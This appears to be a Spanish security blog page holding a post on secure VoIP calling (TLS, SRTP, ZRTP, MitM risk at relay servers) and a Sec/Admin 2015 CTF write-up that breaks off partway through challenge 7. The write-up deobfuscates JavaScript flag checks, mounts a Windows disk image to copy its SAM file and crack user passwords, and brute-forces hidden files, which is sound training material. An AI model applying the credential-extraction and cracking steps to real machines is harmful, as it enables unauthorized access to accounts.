Archivo de la categoría: Seguridad

Sistemas de comunicación seguros

Parece que fue el otro día cuando estuve con mi gran amigo Víctor Seva (@linuxmaniac) dando una charla en la RootedCon sobre sistemas de comunicaciones seguros, y la verdad es que ya han pasado más de 4 años. El vídeo de la conferencia se puede ver aquí:

En la charla se muestra cómo podemos ver un sistema aparentemente seguro y que luego no lo es. La finalidad de este proyecto, o prueba de concepto, no era ofrecer una herramienta al usuario sino concienciarle, es decir, hacerle ver que aunque algo parezca seguro, puede no serlo. De hecho, si buscamos en el Play Store, en el Apple Store o por Internet aplicaciones para mantener comunicaciones de voz seguras, nos vamos a encontrar un montón pero, ¿qué hacen realmente? ¿podemos fiarnos de ellas? Cuando una persona tiene la necesidad de cifrar una comunicación es por algo importante (no confundir con ilegal) y no puede correr riesgos.

4 años más tarde, sí que tengo implementado un sistema para poder realizar llamadas seguras, sin que nadie pueda interceptarlas, escucharlas o grabarlas. Pero si has visto la charla, no te vas a fiar ahora de lo que te diga, ¿verdad? y por eso, antes de hablar del sistema, creo que es necesario entender una serie de conceptos. Cuando alguien tiene la necesidad de mantener una comunicación privada, no puede arriesgarse a usar una aplicación mágica sin entender realmente cómo funciona o cómo se gestionan los datos. Por tanto, creo que el primer paso antes de usar alguna herramienta es entender cómo se cifra una comunicación de voz, qué alcance tiene y cómo podemos verificar si la comunicación está o no cifrada realmente.

VoIP

Vamos a partir de la base de que todas las comunicaciones que vayamos a cifrar van a ser de VoIP, por tanto, tráfico IP que circulará por Internet. A diferencia de un sistema convencional donde se ‘pincha’ una línea física para realizar una escucha, con VoIP, al igual que cualquier otro servicio que funcione a través de redes IP, la interceptación se realiza esnifando o monitorizando datos. Por tanto, nuestros objetivos serán bastante precisos: cifrar las comunicaciones y evitar ataques MitM.

Sin entrar en demasiados detalles técnicos acerca de la VoIP y de los protocolos involucrados en este tipo de infraestructuras, para poder mantener una comunicación realizaremos 2 fases:

Fase de señalización

La misión de la señalización es permitir el intercambio de información entre los diferentes dispositivos o servidores, con la finalidad de que la llamada pueda ser establecida y terminada correctamente. En el caso de la VoIP usaremos el protocolo SIP (también pueden usarse otros, pero SIP es el más extendido). Este protocolo es muy similar al HTTP, donde usaremos una serie de mensajes o métodos para comunicarnos. Aquí podemos ver los más relevantes:

Y obtendremos unos códigos de respuesta:

Como decía, el formato de los mensajes es muy similar al HTTP, donde nos encontramos con una serie de cabeceras y el cuerpo del mensaje:

Añadido al protocolo SIP tenemos el protocolo SDP que ofrece información adicional sobre cómo se va a negociar la comunicación. El SDP se corresponde con el cuerpo del mensaje y se incluye sólo en los métodos cuyo objetivo es establecer una comunicación entre los interlocutores (en este caso es lo que aparece bajo el Content-Length). En la imagen de arriba vemos que se especifica la IP (72.12.135.250) y puerto (27252) para la comunicación RTP de audio, así como los códecs (BV32 Speech, G.729) que el dispositivo soporta. El otro dispositivo contestará con un mensaje OK, también con SDP, donde aparecerá la información de su IP y puertos para el media, así como los códec soportados. Finalmente se comunicarán usando un códec que ambos soporten o, en el peor de los casos, el servidor tendrá que hacer una trascodificación. Como ejemplo imaginemos en un lenguaje humano que una persona habla español e inglés y la otra inglés y francés. Para comunicarse usarán el inglés. Sin embargo si una habla ingles y español y la otra sólo francés, si el servidor soporta ambos idiomas, hará de traductor.

Y la forma de cifrar esta comunicación es utilizando TLS.

Fase media

Se trata de la transmisión de audio, es decir, la comunicación entre los interlocutores una vez se ha negociado cómo se va a realizar la comunicación en la fase anterior. El tráfico se enviará siguiendo el protocolo RTP (sin cifrar) o SRTP (cifrado).

Creo que hasta aquí queda más o menos claro el funcionamiento, pero vamos con las dudas y puntualizaciones:

¿Podemos cifrar una llamada a un móvil o a cualquier otro número de teléfono?

La respuesta es NO.  Para poder realizar una llamada el teléfono IP debe estar conectado a un servidor de VoIP (por ejemplo a una PBX) y si el servidor soporta SRTP, podremos mantener comunicaciones cifradas entre extensiones, es decir, entre dispositivos conectados a esa misma PBX. Pero si necesitamos hablar con un número externo, esa llamada la enrutará el servidor hacia un operador de VoIP mediante un SIP-trunk, y este lo mandará a otro operador o a un wholesale o a un carrier, pero en cualquier caso, cuando salga de nuestro servidor, el tráfico ya no estará cifrado. Por lo que no podemos tener una llamada cifrada si la cursamos a un teléfono externo a nuestro sistema.

Resumiendo, si queremos mantener una comunicación cifrada con otra persona, es primordial que ambos estemos conectados al mismo sistema y usemos un único canal cifrado. En este caso se crea un canal seguro entre nuestro teléfono y nuestro servidor pero luego se utiliza un canal inseguro entre el servidor y el destino (que además pasará por otras infraestructuras de las que no tenemos ningún control). Es decir, no podemos tener un teléfono mágico que nos cifre cualquier llamada que hagamos a cualquier parte.

¿Por qué no puedo establecer una comunicación entre dos teléfonos, sin un servidor de por medio?

La respuesta corta es … por temas de NAT. Si nosotros desde casa conectamos con una página web, nuestro router aplica NAT y la petición se realiza con la IP pública y un puerto asignado por el router. Cuando vienen los datos de vuelta, nuestro router consulta la tabla NAT y sabe a qué dirección IP:puerto privada debe enviar los datos. Por el contrario, en una comunicación con el protocolo SIP todos los datos de conexión vienen encapsulados en el paquete, por lo que el teléfono al construir ese paquete va a poner como IP origen la suya privada y cuando llegue al otro dispositivo, a pesar de que el paquete llegará bien porque el router hará su trabajo, en las cabeceras vendrá la IP privada, que será a la que tratará de responder el otro dispositivo. Y evidentemente, el mensaje de vuelta nunca va a llegar al destino.

Para el caso de la señalización, configurando rutas estáticas en el router y forzando puertos, podemos llegar a redirigir el tráfico, pero tampoco tiene mucho sentido puesto que un servidor de señalización sirve para otras muchas cosas. Por eso mediante mensajes REGISTER el dispositivo indica al servidor dónde se le puede localizar si alguien intenta contactar con él.

Otra opción sería usar SIP ALG que incorporan la mayoría de routers y lo que hace es intentar arreglar las cabeceras y cambiar las IPs locales por la pública, pero esto tiene varios incovenientes:

  • Si usamos cifrado TLS el router ya no tiene acceso al contenido del paquete y, por tanto, no puede alterar los datos.
  • A día de hoy no me encontrato un sólo router que aplique bien SIP ALG y más que arreglar lo que hace es estropear los paquetes.

Y con el media ocurre lo mismo. Si nosotros tuviéramos IPs públicas en nuestros teléfonos, sería posible una comunicación directa entre dos dispositivos, a pesar de que la señalización se realice a través de una PBX. Pero como nuestros dispositivos van a crear el mensaje INVITE rellenando el SDP con una IP:puerto de la red privada, cuando el otro dispositivo trate de responder, no va a llegar nunca el audio. Por eso se requiere de un servidor de relay para el media, cuya función será arreglar estos datos y enviar el tráfico al lugar correcto.

¿Es seguro el protocolo SRTP?

No soy un experto en criptografía pero teóricamente es un protocolo seguro, aunque siempre podemos ser objetivo de un ataque MitM, por lo que aunque la comunicación vaya cifrada, alguien puede interceptarla y descifrar los datos. Además, tal y como se ve en la charla, podemos usar una PBX para desviar el tráfico y generar 2 canales de datos, de forma que haya un canal cifrado entre el servidor y el primer interlocutor y otro canal cifrado entre el servidor y el segundo interlocutor, pero al ser 2 canales diferentes el servidor ve los datos en claro y puede llegar a grabar las conversaciones.

Esto es un problema  por ejemplo si usamos una aplicación que nos permite emitir llamadas cifradas, monitorizamos el tráfico y vemos que realmente va todo cifrado, pero el servidor, que no sabemos ni dónde está ni de quién es, puede estar guardando todas las conversaciones. Por eso no es muy seguro fiarse de las Apps que hay por Internet si no las conocemos bien o no tenemos una fiabilidad de que realmente es segura.

¿Cómo podemos asegurarnos de que nadie hace un MitM en nuestra comunicación?

A pesar de que el cifrado SRTP es seguro, como he comentado antes siempre tenemos la duda de si alguien está realizando un ataque MitM y, por tanto, monitorizando o grabando nuestras conversaciones. Para saber si el canal es realmente seguro podemos usar el protocolo ZRTP. Este protocolo fue diseñado por Phil Zimmermann (creador de PGP) y describe un intercambio de claves Diffie-Hellman para el protocolo SRTP.

En realidad el tráfico va a seguir siendo SRTP, pero tras establecer la comunicación, ambos dispositivos generarán una clave compartida que deberá coincidir. Para ello se eligen dos números públicos y cada interlocutor uno secreto. Tras aplicar una fórmula matemática y realizar una serie de operaciones con los números públicos y cada uno con su secreto, deberá llegarse al mismo resultado.

La verificación será visual, es decir, cada uno de los dispositivos verá en su pantalla la clave generada y que deberá ser la misma. En otro caso, estaremos sufriendo un ataque MitM.

El uso de este protocolo no influye en las configuraciones de nuestro servidor sino que es una negociación entre los dos teléfonos.

Sistema de comunicaciones seguro

Tras toda esta charla creo que podemos sacar en claro que para establecer una comunicación segura lo mejor es tener nuestro propio sistema y no tener que fiarnos de terceros, pero si hay que usar un sistema externo, deberemos:

  • Asegurarnos de que se cifra la señalización usando TLS. Esto implica que tanto el servidor como los clientes soporten TLS.
  • Asegurarnos de que se cifra el media usando SRTP. Esto implica que tanto el servidor como los clientes soporten SRTP.
  • Asegurarnos de que sólo hay una canal y que va cifrado de extremo a extremo, sin que nadie esté en medio y que el servidor no pueda tampoco almacenar las comunicaciones. Y para ello usaremos ZRTP. Esto implica que ambos clientes soporten ZRTP.

Como posibles soluciones tenemos por ejemplo Signal (antes Red Phone) del más que conocido Moxie Marlinspike. Si echáis un vistazo al proyecto o a la descripción en el Play Store de Google, hay comentarios que te hacen pensar sobre todo esto. Me refiero a referencias al código fuente como prueba de que puedes fiarte de él y de que no se hace nada malo ni se graban las conversaciones. Y esto es debido a que, como comentaba antes, se necesita un servidor de relay para poder establecer la comunicación de audio y, evidentemente el servidor es suyo. Lo mismo que ocurre con mi proyecto. La diferencia es que Moxie ha desarrollado la App para móvil y aquí es donde tiene que convencernos de que no hay nada extraño, ya que la negociación Diffie-Hellman se realiza entre los dispositivos, en este caso desde su App, y siempre puede darse el caso de que los códigos que nos muestra por pantalla no sean los derivados de la negociación sino que hayan sido alterados. De ahí a que publique el código fuente y ponga referencias para que se pueda ver y podamos fiarnos. en cualquier caso, Moxie es de fiar, ¿no?  🙂

Para mi proyecto yo no tengo ninguna App sino que he usado Softphones gratuitos que soportan ZRTP, que no hay muchos, la verdad. Por ejemplo para Android se puede utilizar CSipSimple y para Escritorio (Linux, Mac OS X y Windows) tenemos Jitsi.

Vamos al lío

Para el proyecto he usado solamente un servidor proxy Kamailio cuya función es la de gestionar y enrutar las comuncaciones (señalización) y además usa RTPProxy como servidor media para el audio.

Los únicos datos que se piden para usar el servicio son:

  • Un nombre de usuario: será nuestro identificador en el sistema y a donde habrá que llamar para hablar contigo. Por ejemplo mi usuario es ‘pepelux’ (*)
  • Una dirección de correo electrónico: donde se enviarán los datos de registro

(*) En VoIP no es necesario llamar a un número de teléfono. Se llama a un usuario, por lo que en lugar de poner un nuestro número de teléfono, es posible poner cualquier nombre (esto es otra cosa que no me gusta del servicio de Moxie, que tienes que poner tu número de teléfono móvil real y te mandan un SMS para verificarlo).

Para darte de alta debes entrar en http://voip.pepelux.org/ … sí, lo sé, debería tener un certificado SSL, pero no me da la vida :'( … y rellenar los datos en New User. Te llegará un mail con la contraseña y un link de activación.

Con estos datos deberás configurar tu softphone para conectar con el sistema y poder hacer llamadas a otros usuarios que también se hayan dado de alta.

Configurando CSipSimple en nuestro Android

Si queremos usar CSipSimple podemos instalarlo desde el Play Store y seguir el asistente para crear una cuenta. Para ello seleccionaremos Expert dentro del asistente genérico. y rellenaremos los siguientes datos:

  • Nombre de la cuenta: Secure Call (o lo que quereamos poner ya que es una simple descripción para identificar la cuenta)
  • ID de la cuenta: TU_USER <sip:TU_USER@voip.pepelux.org>
  • URI de registro: sip:TU_USER@voip.pepelux.org:5061
  • Nombre de usuario:TU_USER
  • Contraseña:TU_PASS
  • Protocolo de transporte: TLS
  • Esquema uri por defecto: sips
  • Modo SRTP: Por defecto
  • Modo ZRTP: Crear ZRTP

Es importante para que funcione que, en los ajustes generales de la aplicación, pinchemos en Red -> Protocolo de transporte seguro y habilitar el TLS.

Configurando Jitsi

Jitsi tienes diferentes aplicaciones como el Jitsi Meet pero la que nos interesa es la de escritorio. Tenemos versiones para Windows, Linux y Mac OS X que podemos descargar aquí: https://jitsi.org/downloads/

Las opciones de seguridad para el media vienen habilitadas por defecto pero sí que deberemos especificar que en la señalización use TLS. Para ello, una vez creada la cuenta, la editaremos y cambiaremos los parámetros de conexión activando un proxy:

Otra opción sería cargar directamente el certificado en el softphone.

Si realizamos una llamada de prueba, por ejemplo desde un Jitsi a un CSipSimple, sólo debemos marcar el nombre de usuario, en este caso llamo desde un usuario ‘oficina’ configurado en el escritorio a un usuario ‘pepelux’ configurado en un Android:

Vemos que al entrar la llamada, la señalización va por TLS, por lo que viene cifrada:

Y una vez establecida la comunicación, tras descolgar, podemos comprobar la clave generada, en este caso yfmj:

En el Jitsi realizamos la misma comprobación. Por un lado, al emitir la llamada vemos que se usa ZRTP:

Y tras descolgar, al igual que en el otro extremo, debemos ver el mismo código:

Tras la comprobación de claves (donde un usuario le dirá al otro el texto que le aparece y deberá confirmarnos que es el mismo que él tiene) podemos asegurar que la llamada queda cifrada de extremo a extremo y que no hay nadie en medio.

Sobre el servicio

Este servicio es totalmente gratuito y bueno, no deja de ser un juguete que he montado para aprender y cacharrear, aunque es totalmente funcional y seguro. Como se puede ver, no se solicita ningún tipo de información para poderlo usar por lo que eres libre de utilizarlo. Si alguien tiene interés en conocer detalles más técnicos, no tiene más que preguntarme.

Y por cierto, si algún programador de dispositivos móviles se anima en hacer una App, podemos hacer un proyecto chulo 🙂

Saludos !

Sec/Admin 2015 CTF writeup

Este fin de semana fue el congreso Sec/Admin en Sevilla al que lamentablemente no pude asistir, pero el CTF era semipresencial, con 9 retos online y 2 ‘in situ’, así que pude divertirme un rato desde casa.

Como se puede ver en las fotos, el congreso estuvo genial:

814702549_50590_12329341826106579824 814715067_50491_776907250651971808 816234859_39149_5642048687174864698

Y aquí va mi solucionario del CTF:

PRUEBA 1

prueba1

Editando el código fuente de la página podemos ver un JavaScript:

&lt;script&gt;

var FLAG = (!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![])	
FLAG = FLAG + 1337;
FLAG = FLAG * 7;

&lt;/script&gt;

Para resolverlo basta con descargar la página en local y poner un alert al final del código:

&lt;script&gt;

FLAG = FLAG + 1337;
FLAG = FLAG * 7;
alert(FLAG);

&lt;/script&gt;

El flag para pasar el reto es: 10990


 

PRUEBA 2

prueba2

Al cargar la página nos pone:

El archivo donde se encuentra el flag se llama prueba2.html

De forma similar al anterior, editamos el código fuente y vemos otro JavaScript:

&lt;script language="javascript"&gt;
&lt;!-- //
function decode_base64(s)
{
    var e = {}, i, k, v = [], r = '', w = String.fromCharCode;
    var n = [[65, 91], [97, 123], [48, 58], [43, 44], [47, 48]];

    for (z in n)
    {
        for (i = n[z][0]; i &lt; n[z][1]; i++)
        {
            v.push(w(i));
        }
    }
    for (i = 0; i &lt; 64; i++)
    {
        e[v[i]] = i;
    }

    for (i = 0; i &lt; s.length; i+=72)
    {
        var b = 0, c, x, l = 0, o = s.substring(i, i+72);
        for (x = 0; x &lt; o.length; x++)
        {
            c = e[o.charAt(x)];
            b = (b &lt;&lt; 6) + c; l += 6; while (l &gt;= 8)
            {
                r += w((b &gt;&gt;&gt; (l -= 8)) % 256);
            }
         }
    }
    return r;
}

function pasuser(form) {
var bri;
var j0 = "BxRGFsQowGt";
var jo = "345563";
var ctx = new String('bGFsYWxhDQo=');
var ni = j0;
var la = decode_base64(ctx);
var li = "trokioff";
jo = jo + 8941;
var ti = la.toString();
var fi = jo;
j0 = li.concat(li,jo);
bri = form.pass.value;

if ((form.id.value == "SecAdmin") &amp;&amp; (bri == fi)) { 
alert("FLAG ENCONTRADA");
} else {
alert(fi);
alert("Usuario o Password Invalido");
}
}
--&gt;
&lt;/script&gt;

Al igual que antes, con un simple alert podemos hacer que nos escupa la flag:

var bri;
var j0 = "BxRGFsQowGt";
var jo = "345563";
var ctx = new String('bGFsYWxhDQo=');
var ni = j0;
var la = decode_base64(ctx);
var li = "trokioff";
jo = jo + 8941;
var ti = la.toString();
var fi = jo;
j0 = li.concat(li,jo);
alert(fi);
--&gt;
&lt;/script&gt;

El flag para pasar el reto es: 3455638941


 

PRUEBA 3

prueba3

De nuevo otro JavaScript:

&lt;script&gt;
eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?'':e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k)}}return p}('m f(s){3 e={},i,k,v=[],r=\'\',w=C.A;3 n=[[y,D],[G,F],[4,u],[d,9],[g,4]];2(z j n){2(i=n[z][0];i&lt;n[z][1];i++){v.p(w(i))}}2(i=0;i&lt;q;i++){e[v[i]]=i}2(i=0;i&lt;s.7;i+=5){3 b=0,c,x,l=0,o=s.a(i,i+5);2(x=0;x&lt;o.7;x++){c=e[o.E(x)];b=(b&lt;&lt;6)+c;l+=6;B(l&gt;=8){r+=w((b&gt;&gt;&gt;(l-=8))%h)}}}t r}',43,43,'||for|var|48|72||length||44|substring|||43||hh|47|256||in|||function|||push|64|||return|58||||65||fromCharCode|while|String|91|charAt|123|97'.split('|'),0,{}));
function x(form) {
var bri;
var j0 = "BxRGFsQowGt";
var jo = "r35r5gtsvvgdvgsb";
var ctx = new String('bGFsYWxhDQo=');
eval(hh("dmFyIHRpaz1kb2N1bWVudC50aXRsZTsg"));
eval(hh("dmFyIGZsZz0iNzE4ODQ1NzE2MyI7"));
var ni = j0;
eval(hh("dmFyIGxhPWhoKGN0eCk7"));
var li = "trokioff";
var tak = tik;
var ti = la.toString();
var fi = jo;
j0 = li.concat(li,jo);
bri = form.pasw.value;
if ((form.user.value == "SecAdmin") &amp;&amp; (bri == tak)) { 
eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?'':e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k)}}return p}('0 E="F D, C v A B G";0 m="H M, N L K I J u b";0 3="9 7 2 6 5 4 8 s r o";0 k="f 1 i, O 1 P y a Y 10 2 Z 11 ";0 12="a x g h V R W e w g j y p l n q a d c z x t y U T S Q";X(m);',62,65,'var|comemos|le|ycopas|BIRRA|una|pille|4lguien|al|Qu3||FLAG||||Hoy|||pavooo||capedales||||F4v0r|||p0r|d3v3l0p3r||la|tikitun|||||patum|kin|chinchutraka|Aboebe|tolo|Abanibi|taun|p4ssw0rd|3st4s|busc4nd0|qu3|r3cu3rd4|Enc0ntr4d0|p3r0|hoy|pavoooo|69875|cmn|444|ER|bh|ert|elkjop|alert|quien|guste|no|ee|ato'.split('|'),0,{}));
} else {
alert("Usuario o Password Invalido");
}	
}
&lt;/script&gt;

En la URL http://matthewfl.com/unPacker.html podemos desempaquetar las funciones y nos queda:

function hh(s)
	{
	var e=
		{
	}
	,i,k,v=[],r='',w=String.fromCharCode;
	var n=[[65,91],[97,123],[48,58],[43,44],[47,48]];
	for(z in n)
		{
		for(i=n[z][0];
		i&lt;n[z][1];
		i++)
			{
			v.push(w(i))
		}
	}
	for(i=0;
	i&lt;64;
	i++)
		{
		e[v[i]]=i
	}
	for(i=0;
	i&lt;s.length;
	i+=72)
		{
		var b=0,c,x,l=0,o=s.substring(i,i+72);
		for(x=0;
		x&lt;o.length;
		x++)
			{
			c=e[o.charAt(x)];
			b=(b&lt;&lt;6)+c; l+=6; while(l&gt;=8)
				{
				r+=w((b&gt;&gt;&gt;(l-=8))%256)
			}
		}
	}
	return r
}
var tolo="Abanibi Aboebe, chinchutraka tikitun patum kin taun";
var m="p4ssw0rd Enc0ntr4d0, p3r0 r3cu3rd4 qu3 3st4s busc4nd0 la FLAG";
var ycopas="Qu3 4lguien le pille una BIRRA al d3v3l0p3r p0r F4v0r";
var capedales="Hoy comemos pavooo, hoy comemos pavoooo y a quien no le guste ee ";
var ato="a x g h ert cmn elkjop e w g j y p l n q a d c z x t y bh ER 444 69875";
alert(m);

En la segunda función nos da una pista pero no aparece la flag. Sin embargo, vemos algunos valores en base64. Uno de ellos nos da la flag:

unbase64(dmFyIGZsZz0iNzE4ODQ1NzE2MyI7)='var flg="7188457163";'

El flag para pasar el reto es: 7188457163


 

PRUEBA 4

prueba4

Podemos ver en pantalla algunas imágenes que analizaremos con stegsolve y obtenemos algunas cosas interesantes:

solved1 solved2

Tambien podemos llegar a estos valores con un simple strings de las imágenes:

         &lt;photoshop:TextLayers&gt;
            &lt;rdf:Bag&gt;
               &lt;rdf:li rdf:parseType="Resource"&gt;
                  &lt;photoshop:LayerName&gt;Wh3r3 1s the c0de?  &lt;/photoshop:LayerName&gt;
                  &lt;photoshop:LayerText&gt;Wh3r3 1s the c0de?  &lt;/photoshop:LayerText&gt;
               &lt;/rdf:li&gt;
               &lt;rdf:li rdf:parseType="Resource"&gt;
                  &lt;photoshop:LayerName&gt;Look d33p 1ns1de&lt;/photoshop:LayerName&gt;
                  &lt;photoshop:LayerText&gt;Look d33p 1ns1de&lt;/photoshop:LayerText&gt;
               &lt;/rdf:li&gt;
            &lt;/rdf:Bag&gt;
         &lt;/photoshop:TextLayers&gt;

La solución es un poco de ciencia ficción, puesto que la flag para pasar el reto es la concatenación de este número encontrado y el nombre de uno de los ficheros: 89932.jpg

El flag para pasar el reto es: 01843989932


 

PRUEBA 5

prueba5

 

Nos encontramos un fichero ZIP cuya contraseña había que adivinar y, que resultó ser: secadmin.

Dentro del ZIP tenemos un script en python que basándose en un CVS dibuja todas las IPs creando una especie de mapa del mundo.

El bombre de la imagen que se usa como plantilla para dibujar es bribriblibli.gif y resulta ser una canción de Extremoduro. Por otro lado, el nombre del CVS tiene pinta de clave: 16734263999.csv

El script nos mostraba una pita:

Acertijo en Python la solucion esta relacionada con lo que dibuja el script

Pero tras darle muchas vueltas, no conseguí pasar este reto 🙁


 

PRUEBA 6

prueba6

Nos da un enlace con un fichero a descargar. Se trata de una máquina virtual para VirtualBox con un Windows 2003 Server. Tras arrancarlo no podemos entrar ya que no conocemos ningún usuario válido.

Pasamos a cargar el disco en nuestro Linux, a ver si conseguimos extraer el fichero SAM con los usuarios del sistema:

# rmmod nbd
# modprobe nbd max_part=16
# qemu-nbd -c /dev/nbd0 "Windows Server 2003.vdi" 
# ls /dev/nbd
nbd0    nbd1    nbd11   nbd13   nbd15   nbd3    nbd5    nbd7    nbd9
nbd0p1  nbd10   nbd12   nbd14   nbd2    nbd4    nbd6    nbd8    
# mount /dev/nbd0p1 /mnt
# ls /mnt
Archivos de programa  Documents and Settings  pagefile.sys
AUTOEXEC.BAT	      IO.SYS		      RECYCLER
bootfont.bin	      MSDOS.SYS		      System Volume Information
boot.ini	      NTDETECT.COM	      WINDOWS
CONFIG.SYS	      ntldr		      wmpub

Tras montar la unidad, hacemos una copia del fichero SAM y procedemos a intentar extraer las contraseñas de los usuarios:

Primero extraemos el fichero de hashes:
prueba6_sam

Luego lo cargamos en Cain&Abel para proceder a la búsqueda de contraseñas:prueba6_ophcrack

La clave de Administrador no hubo forma de sacarla y, entrando al sistema con los otros 3 usuarios, no había mucho interesante que buscar. Finalmente, la flag para pasar el reto resultó ser la combinación de las 3 contraseñas de usuario.

Posibles combilaciones:

148924307980
148979802430
243014897980
243079801489
798014892430
798024301489

El flag para pasar el reto es: 148924307980


 

PRUEBA 7

prueba7

Nos dice que busquemos un fichero secrets.rar y tras probar varias combinaciones y hacer uso de dirbuster, la cosa fue tan sencilla como poner el nombre en mayúsculas y la extensión en minúsculas: http://desafio.secadmin.es/Prueba7/SECRETS.rar

Al descomprimirlo vemos unos cuantos textos, algunos conocidos:
prueba7_secrets

Tenemos varios ficheros (pdf y docx) donde buscar una flag y, por supuesto, no es cosa de leerlos todos 🙂

Lo primero, intentar localizar los originales en Internet y hacer un diff en busca de alguna diferencia. Todos parecían estar bien menos uno que no conseguí localizarlo por ningún lado: HitsSamurai.docx … así que me centré en ese.

Tras leerlo no encontré nada extraño, así que busqué informacón oculta, en los metadatos.

Primero usé la herramienta de 11paths: https://metashieldanalyzer.elevenpaths.com/ que nos muestra las fechas de creación y modificación así como información de 2 imágenes. Esto me pareció algo raro, dado que en el texto se ven 3 imágenes y no 2.

Creation Date: 12/3/2015 12:53:00 PM
Modification Date: 12/3/2015 3:52:00 PM
Application: Microsoft Office 2007
Application: Adobe Photoshop CS
Application: Adobe Photoshop CS2
Times Edited: 7
Edition Time: 116 Minutes
LastModifiedBy: usuario

Decidí probar con otra herramienta online: http://www.extractmetadata.com/ y aquí tuve una pista:

Mimetype:  	 application/vnd.openxmlformats-officedocument.wordprocessingml.document
Embedded filename:  	 [Content_Types].xml
Embedded filename:  	 _rels/.rels
Embedded filename:  	 word/_rels/document.xml.rels
Embedded filename:  	 word/document.xml
Embedded filename:  	 word/media/image1.jpeg
Embedded filename:  	 word/media/image3.jpeg
Embedded filename:  	 word/theme/theme1.xml
Embedded filename:  	 word/media/image2.jpeg
Embedded filename:  	 word/settings.xml
Embedded filename:  	 word/fontTable.xml
Embedded filename:  	 word/webSettings.xml
Embedded filename:  	 docProps/app.xml
Embedded filename:  	 word/styles.xml
Embedded filename:  	 docProps/core.xml
Embedded filename:  	 word/media/image4.jpeg
Format:  	 ZIP 2.0 (deflation)
Mimetype:  	 application/zip
Embedded filename:  	 [Content_Types].xml
Embedded filename:  	 _rels/.rels
Embedded filename:  	 word/_rels/document.xml.rels
Embedded filename:  	 word/document.xml
Embedded filename:  	 word/media/image1.jpeg
Embedded filename:  	 word/media/image3.jpeg
Embedded filename:  	 word/theme/theme1.xml
Embedded filename:  	 word/media/image2.jpeg
Embedded filename:  	 word/settings.xml
Embedded filename:  	 word/fontTable.xml
Embedded filename:  	 word/webSettings.xml
Embedded filename:  	 docProps/app.xml
Embedded filename:  	 word/styles.xml
Embedded filename:  	 docProps/core.xml
Embedded filename:  	 word/media/image4.jpeg

Nos dice que hay 4 imágenes! y sólo se ven 3 en el texto. Así que el siguiente paso es extraer todo lo que se pueda del fichero. Yo para eso usé binwalk:

$ binwalk -e -M HistSamurai.docx

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Zip archive data, at least v2.0 to extract, compressed size: 371, uncompressed size: 1364, name: [Content_Types].xml
940           0x3AC           Zip archive data, at least v2.0 to extract, compressed size: 243, uncompressed size: 590, name: _rels/.rels
1744          0x6D0           Zip archive data, at least v2.0 to extract, compressed size: 284, uncompressed size: 1216, name: word/_rels/document.xml.rels
2350          0x92E           Zip archive data, at least v2.0 to extract, compressed size: 6809, uncompressed size: 50573, name: word/document.xml
9206          0x23F6          Zip archive data, at least v1.0 to extract, compressed size: 82149, uncompressed size: 82149, name: word/media/image1.jpeg
91407         0x1650F         Zip archive data, at least v1.0 to extract, compressed size: 202515, uncompressed size: 202515, name: word/media/image3.jpeg
293974        0x47C56         Zip archive data, at least v2.0 to extract, compressed size: 1690, uncompressed size: 6994, name: word/theme/theme1.xml
295715        0x48323         Zip archive data, at least v1.0 to extract, compressed size: 231492, uncompressed size: 231492, name: word/media/image2.jpeg
527259        0x80B9B         Zip archive data, at least v2.0 to extract, compressed size: 777, uncompressed size: 1754, name: word/settings.xml
528083        0x80ED3         Zip archive data, at least v2.0 to extract, compressed size: 472, uncompressed size: 1576, name: word/fontTable.xml
528603        0x810DB         Zip archive data, at least v2.0 to extract, compressed size: 331, uncompressed size: 703, name: word/webSettings.xml
528984        0x81258         Zip archive data, at least v2.0 to extract, compressed size: 492, uncompressed size: 997, name: docProps/app.xml
529786        0x8157A         Zip archive data, at least v2.0 to extract, compressed size: 2297, uncompressed size: 17513, name: word/styles.xml
532128        0x81EA0         Zip archive data, at least v2.0 to extract, compressed size: 375, uncompressed size: 741, name: docProps/core.xml
532814        0x8214E         Zip archive data, at least v2.0 to extract, compressed size: 99117, uncompressed size: 113928, name: word/media/image4.jpeg
632960        0x9A880         End of Zip archive

